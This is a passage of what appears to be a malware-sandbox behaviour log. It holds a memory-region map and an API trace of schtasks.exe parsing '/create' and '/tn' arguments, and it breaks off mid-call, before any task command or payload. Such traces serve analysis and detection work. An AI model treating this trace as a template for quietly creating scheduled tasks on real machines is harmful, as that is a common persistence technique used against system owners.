"pagefile_0x0000000000560000" filename = "" Region: id = 2335 start_va = 0x6f0000 end_va = 0x1aeffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006f0000" filename = "" Region: id = 2336 start_va = 0x160000 end_va = 0x171fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "schtasks.exe.mui" filename = "\\Windows\\System32\\en-US\\schtasks.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\schtasks.exe.mui") Region: id = 2337 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 2338 start_va = 0x50000 end_va = 0x50fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 2339 start_va = 0x60000 end_va = 0x15ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000060000" filename = "" Region: id = 2340 start_va = 0x7fefbe30000 end_va = 0x7fefbe3bfff monitored = 0 entry_point = 0x7fefbe31064 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 2341 start_va = 0x1af0000 end_va = 0x1dbefff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 2342 start_va = 0x1dc0000 end_va = 0x1e3cfff monitored = 0 entry_point = 0x1dccec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 2343 start_va = 0x1dc0000 end_va = 0x1e3cfff monitored = 0 entry_point = 0x1dccec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 2344 start_va = 0x7fefcb60000 end_va = 0x7fefcb6efff monitored = 0 entry_point = 0x7fefcb61010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 2345 start_va = 0x7fefb5c0000 end_va = 0x7fefb615fff monitored = 0 entry_point = 0x7fefb5cbbc0 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 2346 start_va = 0x1dc0000 end_va = 0x1f2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001dc0000" filename = "" Region: id = 2347 start_va = 0x1dc0000 end_va = 0x1e9efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001dc0000" filename = "" Region: id = 2348 start_va = 0x1eb0000 end_va = 0x1f2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001eb0000" filename = "" Region: id = 2349 start_va = 0x7fefec50000 end_va = 0x7fefec6efff monitored = 0 entry_point = 0x7fefec560e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 2350 start_va = 0x2040000 end_va = 0x20bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002040000" filename = "" Region: id = 2351 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 2352 start_va = 0x7fefe7b0000 end_va = 0x7fefe88afff monitored = 0 entry_point = 0x7fefe7d0760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 2353 start_va = 0x180000 end_va = 0x180fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000180000" filename = "" Region: id = 2354 start_va = 0x7fefef50000 end_va = 0x7fefefe8fff monitored = 0 entry_point = 0x7fefef51c10 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 2355 start_va = 0x190000 end_va = 0x190fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000190000" filename = "" Region: id = 2356 start_va = 0x7fefa9d0000 end_va = 0x7fefaaf6fff monitored = 0 entry_point = 0x7fefa9d10ec region_type = mapped_file name = "taskschd.dll" filename = "\\Windows\\System32\\taskschd.dll" (normalized: "c:\\windows\\system32\\taskschd.dll") Region: id = 2357 start_va = 0x7fefcb30000 end_va = 0x7fefcb54fff monitored = 0 entry_point = 0x7fefcb39658 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 2360 start_va = 0x7fefb150000 end_va = 0x7fefb184fff monitored = 0 entry_point = 0x7fefb151064 region_type = mapped_file name = "xmllite.dll" filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll") Thread: id = 125 os_tid = 0xf3c [0135.332] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x23f860 | out: lpSystemTimeAsFileTime=0x23f860*(dwLowDateTime=0x1fa95020, dwHighDateTime=0x1d8a92a)) [0135.332] GetCurrentProcessId () returned 0xf38 [0135.332] GetCurrentThreadId () returned 0xf3c [0135.332] GetTickCount () returned 0x138742c [0135.332] RtlQueryPerformanceCounter (in: lpPerformanceCount=0x23f868 | out: lpPerformanceCount=0x23f868*=2061419507640) returned 1 [0135.332] GetModuleHandleW (lpModuleName=0x0) returned 0xffeb0000 [0135.332] __set_app_type (_Type=0x1) [0135.332] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xffed972c) returned 0x0 [0135.333] __wgetmainargs (in: _Argc=0xffef1240, _Argv=0xffef1250, _Env=0xffef1248, _DoWildCard=0, _StartInfo=0xffef125c | out: _Argc=0xffef1240, _Argv=0xffef1250, _Env=0xffef1248) returned 0 [0135.333] _onexit (_Func=0xffee2ab0) returned 0xffee2ab0 [0135.334] _onexit (_Func=0xffee2ac4) returned 0xffee2ac4 [0135.334] _onexit (_Func=0xffee2afc) returned 0xffee2afc [0135.334] _onexit (_Func=0xffee2b58) returned 0xffee2b58 [0135.334] _onexit (_Func=0xffee2b80) returned 0xffee2b80 [0135.334] _onexit (_Func=0xffee2ba8) returned 0xffee2ba8 [0135.334] _onexit (_Func=0xffee2bd0) returned 0xffee2bd0 [0135.334] _onexit (_Func=0xffee2bf8) returned 0xffee2bf8 [0135.335] _onexit (_Func=0xffee2c20) returned 0xffee2c20 [0135.335] _onexit (_Func=0xffee2c48) returned 0xffee2c48 [0135.335] _onexit (_Func=0xffee2c70) returned 0xffee2c70 [0135.335] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0135.335] WinSqmIsOptedIn () returned 0x0 [0135.335] GetProcessHeap () returned 0x60000 [0135.335] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x18) returned 0x7b960 [0135.336] SetLastError (dwErrCode=0x0) [0135.336] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0135.336] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0135.336] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0135.336] VerifyVersionInfoW (in: lpVersionInformation=0x23f020, dwTypeMask=0x3, dwlConditionMask=0x800000000001801b | out: lpVersionInformation=0x23f020) returned 1 [0135.336] GetProcessHeap () returned 0x60000 [0135.336] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x18) returned 0x7b980 [0135.336] lstrlenW (lpString="") returned 0 [0135.336] GetProcessHeap () returned 0x60000 [0135.336] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x2) returned 0x7b9a0 [0135.336] GetProcessHeap () returned 0x60000 [0135.336] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x20) returned 0x75900 [0135.336] GetProcessHeap () returned 0x60000 [0135.336] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x18) returned 0x7b9c0 [0135.336] GetProcessHeap () returned 0x60000 [0135.336] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x20) returned 0x75930 [0135.336] GetProcessHeap () returned 0x60000 [0135.336] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x20) returned 0x75960 [0135.336] GetProcessHeap () returned 0x60000 [0135.337] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x20) returned 0x75990 [0135.337] GetProcessHeap () returned 0x60000 [0135.337] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x20) returned 0x759c0 [0135.337] GetProcessHeap () returned 0x60000 [0135.337] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x18) returned 0x7b9e0 [0135.337] GetProcessHeap () returned 0x60000 [0135.337] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x20) returned 0x759f0 [0135.337] GetProcessHeap () returned 0x60000 [0135.337] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x20) returned 0x75a20 [0135.337] GetProcessHeap () returned 0x60000 [0135.337] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x20) returned 0x75a50 [0135.337] GetProcessHeap () returned 0x60000 [0135.337] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x20) returned 0x75a80 [0135.337] GetProcessHeap () returned 0x60000 [0135.337] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x18) returned 0x7ba00 [0135.337] GetProcessHeap () returned 0x60000 [0135.337] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x20) returned 0x75ab0 [0135.337] GetProcessHeap () returned 0x60000 [0135.337] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x20) returned 0x75ae0 [0135.337] GetProcessHeap () returned 0x60000 [0135.337] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x20) returned 0x75b10 [0135.337] GetProcessHeap () returned 0x60000 [0135.337] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x20) returned 0x75b40 [0135.337] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0135.337] SetLastError (dwErrCode=0x0) [0135.337] GetProcessHeap () returned 0x60000 [0135.337] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x20) returned 0x75b70 [0135.338] GetProcessHeap () returned 0x60000 [0135.338] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x20) returned 0x75ba0 [0135.338] GetProcessHeap () returned 0x60000 [0135.338] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x20) returned 0x75bd0 [0135.338] GetProcessHeap () returned 0x60000 [0135.348] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x20) returned 0x75c00 [0135.348] GetProcessHeap () returned 0x60000 [0135.348] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x20) returned 0x75c30 [0135.348] GetProcessHeap () returned 0x60000 [0135.348] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x18) returned 0x7ba20 [0135.348] _memicmp (_Buf1=0x7ba20, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.348] GetProcessHeap () returned 0x60000 [0135.348] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x208) returned 0x7bbc0 [0135.348] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x7bbc0, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0135.348] LoadLibraryExA (lpLibFileName="VERSION.dll", hFile=0x0, dwFlags=0x0) returned 0x7fefbe30000 [0135.350] GetProcAddress (hModule=0x7fefbe30000, lpProcName="GetFileVersionInfoSizeW") returned 0x7fefbe315fc [0135.350] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x0 | out: lpdwHandle=0x0) returned 0x744 [0135.352] GetProcessHeap () returned 0x60000 [0135.352] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x74e) returned 0x7c170 [0135.352] GetProcAddress (hModule=0x7fefbe30000, lpProcName="GetFileVersionInfoW") returned 0x7fefbe31614 [0135.352] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x74e, lpData=0x7c170 | out: lpData=0x7c170) returned 1 [0135.352] GetProcAddress (hModule=0x7fefbe30000, lpProcName="VerQueryValueW") returned 0x7fefbe315e0 [0135.352] VerQueryValueW (in: pBlock=0x7c170, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x23f108, puLen=0x23f170 | out: lplpBuffer=0x23f108*=0x7c50c, puLen=0x23f170) returned 1 [0135.355] _memicmp (_Buf1=0x7ba20, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.355] _vsnwprintf (in: _Buffer=0x7bbc0, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0x23f0e8 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0135.355] VerQueryValueW (in: pBlock=0x7c170, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0x23f178, puLen=0x23f168 | out: lplpBuffer=0x23f178*=0x7c338, puLen=0x23f168) returned 1 [0135.355] lstrlenW (lpString="schtasks.exe") returned 12 [0135.356] lstrlenW (lpString="schtasks.exe") returned 12 [0135.356] lstrlenW (lpString=".EXE") returned 4 [0135.356] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0135.357] lstrlenW (lpString="schtasks.exe") returned 12 [0135.357] lstrlenW (lpString=".EXE") returned 4 [0135.357] _memicmp (_Buf1=0x7ba20, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.357] lstrlenW (lpString="schtasks") returned 8 [0135.357] GetProcessHeap () returned 0x60000 [0135.357] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x20) returned 0x75d20 [0135.357] GetProcessHeap () returned 0x60000 [0135.357] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x20) returned 0x7ca80 [0135.357] GetProcessHeap () returned 0x60000 [0135.357] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x20) returned 0x7cab0 [0135.357] GetProcessHeap () returned 0x60000 [0135.357] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x20) returned 0x7cae0 [0135.357] GetProcessHeap () returned 0x60000 [0135.357] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x18) returned 0x7ba40 [0135.358] _memicmp (_Buf1=0x7ba40, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.358] GetProcessHeap () returned 0x60000 [0135.358] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0xa0) returned 0x7bfc0 [0135.358] GetProcessHeap () returned 0x60000 [0135.358] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x20) returned 0x7cb10 [0135.358] GetProcessHeap () returned 0x60000 [0135.358] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x20) returned 0x7cb40 [0135.358] GetProcessHeap () returned 0x60000 [0135.358] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x20) returned 0x7cb70 [0135.358] GetProcessHeap () returned 0x60000 [0135.358] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x18) returned 0x7ba60 [0135.358] _memicmp (_Buf1=0x7ba60, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.358] GetProcessHeap () returned 0x60000 [0135.358] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x200) returned 0x7d250 [0135.358] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x7d250, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0135.358] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0135.358] GetProcessHeap () returned 0x60000 [0135.358] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x30) returned 0x77a20 [0135.358] _vsnwprintf (in: _Buffer=0x7bfc0, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0x23f0e8 | out: _Buffer="Type \"SCHTASKS /?\" for usage.") returned 29 [0135.358] GetProcessHeap () returned 0x60000 [0135.358] GetProcessHeap () returned 0x60000 [0135.359] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x7c170) returned 1 [0135.359] GetProcessHeap () returned 0x60000 [0135.359] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x7c170) returned 0x74e [0135.359] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x7c170 | out: hHeap=0x60000) returned 1 [0135.359] SetLastError (dwErrCode=0x0) [0135.359] GetThreadLocale () returned 0x409 [0135.359] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0135.360] lstrlenW (lpString="?") returned 1 [0135.360] GetThreadLocale () returned 0x409 [0135.360] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0135.360] lstrlenW (lpString="create") returned 6 [0135.360] GetThreadLocale () returned 0x409 [0135.360] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0135.360] lstrlenW (lpString="delete") returned 6 [0135.360] GetThreadLocale () returned 0x409 [0135.360] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0135.360] lstrlenW (lpString="query") returned 5 [0135.360] GetThreadLocale () returned 0x409 [0135.360] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0135.360] lstrlenW (lpString="change") returned 6 [0135.360] GetThreadLocale () returned 0x409 [0135.360] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0135.360] lstrlenW (lpString="run") returned 3 [0135.360] GetThreadLocale () returned 0x409 [0135.360] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0135.360] lstrlenW (lpString="end") returned 3 [0135.360] GetThreadLocale () returned 0x409 [0135.360] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0135.360] lstrlenW (lpString="showsid") returned 7 [0135.360] GetThreadLocale () returned 0x409 [0135.360] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0135.360] SetLastError (dwErrCode=0x0) [0135.360] SetLastError (dwErrCode=0x0) [0135.360] lstrlenW (lpString="/create") returned 7 [0135.360] lstrlenW (lpString="-/") returned 2 [0135.360] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0135.361] lstrlenW (lpString="?") returned 1 [0135.361] lstrlenW (lpString="?") returned 1 [0135.361] GetProcessHeap () returned 0x60000 [0135.361] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x18) returned 0x7c170 [0135.361] _memicmp (_Buf1=0x7c170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.361] GetProcessHeap () returned 0x60000 [0135.361] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0xa) returned 0x7c190 [0135.361] lstrlenW (lpString="create") returned 6 [0135.361] GetProcessHeap () returned 0x60000 [0135.361] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x18) returned 0x7c1b0 [0135.361] _memicmp (_Buf1=0x7c1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.361] GetProcessHeap () returned 0x60000 [0135.361] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x14) returned 0x7c1d0 [0135.361] _vsnwprintf (in: _Buffer=0x7c190, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23f0f8 | out: _Buffer="|?|") returned 3 [0135.361] _vsnwprintf (in: _Buffer=0x7c1d0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x23f0f8 | out: _Buffer="|create|") returned 8 [0135.361] lstrlenW (lpString="|?|") returned 3 [0135.361] lstrlenW (lpString="|create|") returned 8 [0135.361] SetLastError (dwErrCode=0x490) [0135.361] lstrlenW (lpString="create") returned 6 [0135.361] lstrlenW (lpString="create") returned 6 [0135.361] _memicmp (_Buf1=0x7c170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.361] GetProcessHeap () returned 0x60000 [0135.361] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x7c190) returned 1 [0135.361] GetProcessHeap () returned 0x60000 [0135.361] RtlReAllocateHeap (Heap=0x60000, Flags=0xc, Ptr=0x7c190, Size=0x14) returned 0x7c1f0 [0135.361] lstrlenW (lpString="create") returned 6 [0135.361] _memicmp (_Buf1=0x7c1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.361] _vsnwprintf (in: _Buffer=0x7c1f0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x23f0f8 | out: _Buffer="|create|") returned 8 [0135.361] _vsnwprintf (in: _Buffer=0x7c1d0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x23f0f8 | out: _Buffer="|create|") returned 8 [0135.361] lstrlenW (lpString="|create|") returned 8 [0135.361] lstrlenW (lpString="|create|") returned 8 [0135.362] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0135.362] SetLastError (dwErrCode=0x0) [0135.362] SetLastError (dwErrCode=0x0) [0135.362] SetLastError (dwErrCode=0x0) [0135.362] lstrlenW (lpString="/tn") returned 3 [0135.362] lstrlenW (lpString="-/") returned 2 [0135.362] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0135.362] lstrlenW (lpString="?") returned 1 [0135.362] lstrlenW (lpString="?") returned 1 [0135.362] _memicmp (_Buf1=0x7c170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.362] lstrlenW (lpString="tn") returned 2 [0135.362] _memicmp (_Buf1=0x7c1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.362] _vsnwprintf (in: _Buffer=0x7c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23f0f8 | out: _Buffer="|?|") returned 3 [0135.362] _vsnwprintf (in: _Buffer=0x7c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23f0f8 | out: _Buffer="|tn|") returned 4 [0135.362] lstrlenW (lpString="|?|") returned 3 [0135.362] lstrlenW (lpString="|tn|") returned 4 [0135.362] SetLastError (dwErrCode=0x490) [0135.362] lstrlenW (lpString="create") returned 6 [0135.362] lstrlenW (lpString="create") returned 6 [0135.362] _memicmp (_Buf1=0x7c170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.362] lstrlenW (lpString="tn") returned 2 [0135.362] _memicmp (_Buf1=0x7c1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.362] _vsnwprintf (in: _Buffer=0x7c1f0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x23f0f8 | out: _Buffer="|create|") returned 8 [0135.362] _vsnwprintf (in: _Buffer=0x7c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23f0f8 | out: _Buffer="|tn|") returned 4 [0135.362] lstrlenW (lpString="|create|") returned 8 [0135.362] lstrlenW (lpString="|tn|") returned 4 [0135.362] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0135.362] SetLastError (dwErrCode=0x490) [0135.362] lstrlenW (lpString="delete") returned 6 [0135.362] lstrlenW (lpString="delete") returned 6 [0135.362] _memicmp (_Buf1=0x7c170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.362] lstrlenW (lpString="tn") returned 2 [0135.363] _memicmp (_Buf1=0x7c1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.363] _vsnwprintf (in: _Buffer=0x7c1f0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x23f0f8 | out: _Buffer="|delete|") returned 8 [0135.363] _vsnwprintf (in: _Buffer=0x7c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23f0f8 | out: _Buffer="|tn|") returned 4 [0135.363] lstrlenW (lpString="|delete|") returned 8 [0135.363] lstrlenW (lpString="|tn|") returned 4 [0135.363] StrStrIW (lpFirst="|delete|", lpSrch="|tn|") returned 0x0 [0135.363] SetLastError (dwErrCode=0x490) [0135.363] lstrlenW (lpString="query") returned 5 [0135.363] lstrlenW (lpString="query") returned 5 [0135.363] _memicmp (_Buf1=0x7c170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.363] lstrlenW (lpString="tn") returned 2 [0135.363] _memicmp (_Buf1=0x7c1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.363] _vsnwprintf (in: _Buffer=0x7c1f0, _BufferCount=0x8, _Format="|%s|", _ArgList=0x23f0f8 | out: _Buffer="|query|") returned 7 [0135.363] _vsnwprintf (in: _Buffer=0x7c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23f0f8 | out: _Buffer="|tn|") returned 4 [0135.363] lstrlenW (lpString="|query|") returned 7 [0135.363] lstrlenW (lpString="|tn|") returned 4 [0135.363] StrStrIW (lpFirst="|query|", lpSrch="|tn|") returned 0x0 [0135.363] SetLastError (dwErrCode=0x490) [0135.363] lstrlenW (lpString="change") returned 6 [0135.363] lstrlenW (lpString="change") returned 6 [0135.363] _memicmp (_Buf1=0x7c170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.363] lstrlenW (lpString="tn") returned 2 [0135.363] _memicmp (_Buf1=0x7c1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.363] _vsnwprintf (in: _Buffer=0x7c1f0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x23f0f8 | out: _Buffer="|change|") returned 8 [0135.363] _vsnwprintf (in: _Buffer=0x7c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23f0f8 | out: _Buffer="|tn|") returned 4 [0135.363] lstrlenW (lpString="|change|") returned 8 [0135.363] lstrlenW (lpString="|tn|") returned 4 [0135.363] StrStrIW (lpFirst="|change|", lpSrch="|tn|") returned 0x0 [0135.363] SetLastError (dwErrCode=0x490) [0135.363] lstrlenW (lpString="run") returned 3 [0135.363] lstrlenW (lpString="run") returned 3 [0135.363] _memicmp (_Buf1=0x7c170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.363] lstrlenW (lpString="tn") returned 2 [0135.364] _memicmp (_Buf1=0x7c1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.364] _vsnwprintf (in: _Buffer=0x7c1f0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x23f0f8 | out: _Buffer="|run|") returned 5 [0135.364] _vsnwprintf (in: _Buffer=0x7c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23f0f8 | out: _Buffer="|tn|") returned 4 [0135.364] lstrlenW (lpString="|run|") returned 5 [0135.364] lstrlenW (lpString="|tn|") returned 4 [0135.364] StrStrIW (lpFirst="|run|", lpSrch="|tn|") returned 0x0 [0135.364] SetLastError (dwErrCode=0x490) [0135.364] lstrlenW (lpString="end") returned 3 [0135.364] lstrlenW (lpString="end") returned 3 [0135.364] _memicmp (_Buf1=0x7c170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.364] lstrlenW (lpString="tn") returned 2 [0135.364] _memicmp (_Buf1=0x7c1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.364] _vsnwprintf (in: _Buffer=0x7c1f0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x23f0f8 | out: _Buffer="|end|") returned 5 [0135.364] _vsnwprintf (in: _Buffer=0x7c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23f0f8 | out: _Buffer="|tn|") returned 4 [0135.364] lstrlenW (lpString="|end|") returned 5 [0135.364] lstrlenW (lpString="|tn|") returned 4 [0135.364] StrStrIW (lpFirst="|end|", lpSrch="|tn|") returned 0x0 [0135.364] SetLastError (dwErrCode=0x490) [0135.364] lstrlenW (lpString="showsid") returned 7 [0135.364] lstrlenW (lpString="showsid") returned 7 [0135.364] _memicmp (_Buf1=0x7c170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.364] GetProcessHeap () returned 0x60000 [0135.364] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x7c1f0) returned 1 [0135.364] GetProcessHeap () returned 0x60000 [0135.364] RtlReAllocateHeap (Heap=0x60000, Flags=0xc, Ptr=0x7c1f0, Size=0x16) returned 0x7c1f0 [0135.364] lstrlenW (lpString="tn") returned 2 [0135.364] _memicmp 